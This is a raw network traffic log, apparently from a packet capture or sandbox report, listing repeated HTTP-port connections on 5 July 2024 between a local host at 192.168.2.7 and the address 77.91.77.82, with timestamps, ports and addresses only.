Jul 5, 2024 06:23:42.103880882 CEST	51513	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:42.213891029 CEST	51513	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:42.214214087 CEST	51514	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:42.219106913 CEST	80	51514	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:42.219206095 CEST	51514	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:42.219307899 CEST	51514	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:42.219958067 CEST	80	51513	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:42.220006943 CEST	51513	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:42.225039959 CEST	80	51514	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:42.941520929 CEST	80	51514	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:42.941674948 CEST	51514	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:42.942433119 CEST	51514	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:42.947201014 CEST	80	51514	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:43.161885023 CEST	80	51514	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:43.161945105 CEST	51514	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:43.276578903 CEST	51514	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:43.276947975 CEST	51515	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:43.281713009 CEST	80	51515	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:43.281773090 CEST	80	51514	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:43.281936884 CEST	51514	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:43.281953096 CEST	51515	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:43.282078981 CEST	51515	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:43.286881924 CEST	80	51515	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:43.989250898 CEST	80	51515	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:43.989387035 CEST	51515	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:43.990230083 CEST	51515	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:43.995080948 CEST	80	51515	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:44.211402893 CEST	80	51515	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:44.211564064 CEST	51515	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:44.323287964 CEST	51515	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:44.323626995 CEST	51516	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:44.328469992 CEST	80	51515	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:44.328478098 CEST	80	51516	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:44.328564882 CEST	51515	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:44.328598976 CEST	51516	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:44.328771114 CEST	51516	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:44.333499908 CEST	80	51516	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:45.028448105 CEST	80	51516	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:45.028568983 CEST	51516	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:45.029355049 CEST	51516	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:45.034251928 CEST	80	51516	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:45.245615959 CEST	80	51516	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:45.245682001 CEST	51516	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:45.354511976 CEST	51516	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:45.355006933 CEST	51517	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:45.359774113 CEST	80	51516	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:45.359848022 CEST	51516	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:45.359859943 CEST	80	51517	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:45.359930038 CEST	51517	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:45.360088110 CEST	51517	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:45.364854097 CEST	80	51517	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:46.060653925 CEST	80	51517	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:46.060879946 CEST	51517	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:46.061492920 CEST	51517	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:46.066237926 CEST	80	51517	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:46.279165983 CEST	80	51517	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:46.279247999 CEST	51517	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:46.385940075 CEST	51517	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:46.386373043 CEST	51518	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:46.391505957 CEST	80	51517	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:46.391572952 CEST	51517	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:46.391700983 CEST	80	51518	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:46.391805887 CEST	51518	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:46.391967058 CEST	51518	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:46.396791935 CEST	80	51518	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:47.103751898 CEST	80	51518	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:47.103902102 CEST	51518	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:47.104794025 CEST	51518	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:47.109603882 CEST	80	51518	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:47.330641031 CEST	80	51518	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:47.330748081 CEST	51518	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:47.433017015 CEST	51518	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:47.433335066 CEST	51519	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:47.438647985 CEST	80	51518	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:47.438657999 CEST	80	51519	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:47.438788891 CEST	51518	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:47.438800097 CEST	51519	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:47.438961983 CEST	51519	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:47.447289944 CEST	80	51519	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:48.155103922 CEST	80	51519	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:48.155215025 CEST	51519	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:48.156080961 CEST	51519	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:48.161045074 CEST	80	51519	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:48.528034925 CEST	80	51519	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:48.531152964 CEST	51519	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:48.635822058 CEST	51519	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:48.636152029 CEST	51520	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:48.640930891 CEST	80	51519	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:48.640979052 CEST	80	51520	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:48.641060114 CEST	51519	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:48.641117096 CEST	51520	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:48.641211987 CEST	51520	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:48.645967960 CEST	80	51520	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:49.360677004 CEST	80	51520	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:49.363349915 CEST	51520	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:49.364202976 CEST	51520	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:49.369697094 CEST	80	51520	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:49.583064079 CEST	80	51520	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:49.583141088 CEST	51520	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:49.700428963 CEST	51520	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:49.700740099 CEST	51521	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:49.705782890 CEST	80	51521	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:49.705897093 CEST	51521	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:49.706094027 CEST	51521	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:49.706357956 CEST	80	51520	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:49.706419945 CEST	51520	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:49.710917950 CEST	80	51521	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:50.418809891 CEST	80	51521	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:50.418914080 CEST	51521	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:50.419681072 CEST	51521	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:50.424487114 CEST	80	51521	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:50.641185999 CEST	80	51521	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:50.641282082 CEST	51521	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:50.745148897 CEST	51521	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:50.745507002 CEST	51522	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:50.750322104 CEST	80	51522	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:50.750452995 CEST	51522	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:50.750544071 CEST	51522	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:50.750583887 CEST	80	51521	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:50.750643015 CEST	51521	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:50.755330086 CEST	80	51522	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:51.478677034 CEST	80	51522	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:51.478797913 CEST	51522	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:51.479790926 CEST	51522	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:51.484565973 CEST	80	51522	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:51.704416990 CEST	80	51522	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:51.704503059 CEST	51522	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:51.807732105 CEST	51522	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:51.808098078 CEST	51523	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:51.812925100 CEST	80	51523	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:51.813070059 CEST	51523	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:51.813236952 CEST	80	51522	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:51.813288927 CEST	51522	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:51.813302040 CEST	51523	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:51.818253040 CEST	80	51523	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:52.508977890 CEST	80	51523	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:52.509078979 CEST	51523	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:52.509763002 CEST	51523	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:52.514559031 CEST	80	51523	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:52.726694107 CEST	80	51523	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:52.726835012 CEST	51523	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:52.839184046 CEST	51523	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:52.839550018 CEST	51524	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:52.844403982 CEST	80	51523	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:52.844417095 CEST	80	51524	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:52.844517946 CEST	51523	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:52.844567060 CEST	51524	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:52.844773054 CEST	51524	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:52.849565983 CEST	80	51524	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:53.536138058 CEST	80	51524	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:53.536263943 CEST	51524	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:53.536936998 CEST	51524	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:53.541708946 CEST	80	51524	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:53.753698111 CEST	80	51524	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:53.753818035 CEST	51524	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:53.870177031 CEST	51524	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:53.870536089 CEST	51525	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:53.875334978 CEST	80	51525	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:53.875391960 CEST	80	51524	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:53.875449896 CEST	51524	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:53.875453949 CEST	51525	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:53.875641108 CEST	51525	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:53.880373955 CEST	80	51525	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:54.587189913 CEST	80	51525	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:54.587323904 CEST	51525	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:54.588046074 CEST	51525	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:54.592817068 CEST	80	51525	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:54.811935902 CEST	80	51525	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:54.812016964 CEST	51525	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:54.917346001 CEST	51525	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:54.917690039 CEST	51526	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:54.923788071 CEST	80	51526	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:54.923957109 CEST	51526	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:54.923974991 CEST	80	51525	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:54.924041986 CEST	51525	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:54.924180031 CEST	51526	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:54.931051970 CEST	80	51526	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:55.635859013 CEST	80	51526	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:55.636058092 CEST	51526	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:55.637682915 CEST	51526	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:55.644785881 CEST	80	51526	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:55.862052917 CEST	80	51526	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:55.862157106 CEST	51526	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:55.964051962 CEST	51526	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:55.964504004 CEST	51527	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:55.973050117 CEST	80	51527	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:55.973133087 CEST	51527	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:55.973298073 CEST	51527	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:55.973911047 CEST	80	51526	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:55.973968029 CEST	51526	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:55.978804111 CEST	80	51527	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:56.664144993 CEST	80	51527	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:56.664256096 CEST	51527	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:56.665106058 CEST	51527	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:56.669950962 CEST	80	51527	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:56.881077051 CEST	80	51527	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:56.881191015 CEST	51527	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:56.995114088 CEST	51527	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:56.995469093 CEST	51528	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:57.000251055 CEST	80	51528	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:57.000319004 CEST	51528	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:57.000430107 CEST	51528	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:57.000674009 CEST	80	51527	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:57.000725031 CEST	51527	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:57.005495071 CEST	80	51528	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:57.692178011 CEST	80	51528	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:57.692262888 CEST	51528	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:57.692954063 CEST	51528	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:57.697765112 CEST	80	51528	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:57.909427881 CEST	80	51528	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:57.909552097 CEST	51528	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:58.013499022 CEST	51528	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:58.013907909 CEST	51530	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:58.018763065 CEST	80	51528	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:58.018794060 CEST	80	51530	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:58.018846035 CEST	51528	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:58.018934965 CEST	51530	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:58.019092083 CEST	51530	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:58.023838997 CEST	80	51530	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:58.719340086 CEST	80	51530	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:58.719424963 CEST	51530	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:58.720185995 CEST	51530	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:58.725203991 CEST	80	51530	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:58.941804886 CEST	80	51530	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:58.941917896 CEST	51530	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:59.057666063 CEST	51530	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:59.058022022 CEST	51531	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:59.062882900 CEST	80	51531	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:59.063286066 CEST	80	51530	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:59.063302040 CEST	51531	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:59.063429117 CEST	51531	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:59.063446045 CEST	51530	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:59.068380117 CEST	80	51531	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:59.772562027 CEST	80	51531	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:59.772680998 CEST	51531	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:59.773355007 CEST	51531	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:23:59.778105021 CEST	80	51531	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:59.995841980 CEST	80	51531	77.91.77.82	192.168.2.7
Jul 5, 2024 06:23:59.995965958 CEST	51531	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:00.104655981 CEST	51531	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:00.105026960 CEST	51532	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:00.109822989 CEST	80	51532	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:00.109885931 CEST	80	51531	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:00.109889984 CEST	51532	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:00.109934092 CEST	51531	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:00.110121012 CEST	51532	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:00.114861965 CEST	80	51532	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:00.824109077 CEST	80	51532	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:00.824265957 CEST	51532	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:00.824896097 CEST	51532	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:00.829637051 CEST	80	51532	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:01.056037903 CEST	80	51532	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:01.056257010 CEST	51532	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:01.167478085 CEST	51532	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:01.167757988 CEST	51533	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:01.172539949 CEST	80	51533	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:01.172620058 CEST	80	51532	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:01.172630072 CEST	51533	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:01.172699928 CEST	51532	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:01.172905922 CEST	51533	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:01.177848101 CEST	80	51533	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:01.863332987 CEST	80	51533	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:01.863396883 CEST	51533	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:01.864298105 CEST	51533	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:01.869060993 CEST	80	51533	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:02.262379885 CEST	80	51533	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:02.262481928 CEST	51533	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:02.380562067 CEST	51533	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:02.380821943 CEST	51534	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:02.385688066 CEST	80	51534	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:02.385792971 CEST	51534	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:02.385835886 CEST	80	51533	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:02.385890007 CEST	51533	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:02.385951996 CEST	51534	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:02.390813112 CEST	80	51534	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:03.099250078 CEST	80	51534	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:03.099324942 CEST	51534	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:03.100017071 CEST	51534	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:03.104981899 CEST	80	51534	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:03.324826956 CEST	80	51534	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:03.324908018 CEST	51534	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:03.432821035 CEST	51534	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:03.433223963 CEST	51535	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:03.437999010 CEST	80	51534	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:03.438055038 CEST	80	51535	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:03.438055992 CEST	51534	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:03.438133955 CEST	51535	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:03.438400030 CEST	51535	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:03.443116903 CEST	80	51535	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:04.157807112 CEST	80	51535	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:04.157913923 CEST	51535	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:04.158724070 CEST	51535	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:04.164068937 CEST	80	51535	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:04.380897045 CEST	80	51535	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:04.381041050 CEST	51535	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:04.495297909 CEST	51535	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:04.495754957 CEST	51536	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:04.500588894 CEST	80	51535	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:04.500602961 CEST	80	51536	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:04.500663042 CEST	51535	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:04.500705004 CEST	51536	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:04.500865936 CEST	51536	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:04.505623102 CEST	80	51536	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:05.203448057 CEST	80	51536	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:05.203545094 CEST	51536	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:05.204425097 CEST	51536	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:05.209578037 CEST	80	51536	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:05.426672935 CEST	80	51536	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:05.426817894 CEST	51536	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:05.544173956 CEST	51536	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:05.544488907 CEST	51537	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:05.549406052 CEST	80	51536	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:05.549468994 CEST	51536	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:05.549649000 CEST	80	51537	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:05.549715996 CEST	51537	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:05.549854994 CEST	51537	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:05.555445910 CEST	80	51537	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:06.279354095 CEST	80	51537	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:06.279437065 CEST	51537	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:06.280217886 CEST	51537	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:06.284938097 CEST	80	51537	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:06.508721113 CEST	80	51537	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:06.508769035 CEST	51537	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:06.620313883 CEST	51537	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:06.620651007 CEST	51538	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:06.625585079 CEST	80	51537	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:06.625647068 CEST	51537	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:06.626138926 CEST	80	51538	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:06.626204014 CEST	51538	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:06.626317978 CEST	51538	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:06.631109953 CEST	80	51538	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:07.319710016 CEST	80	51538	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:07.319874048 CEST	51538	80	192.168.2.7	77.91.77.82
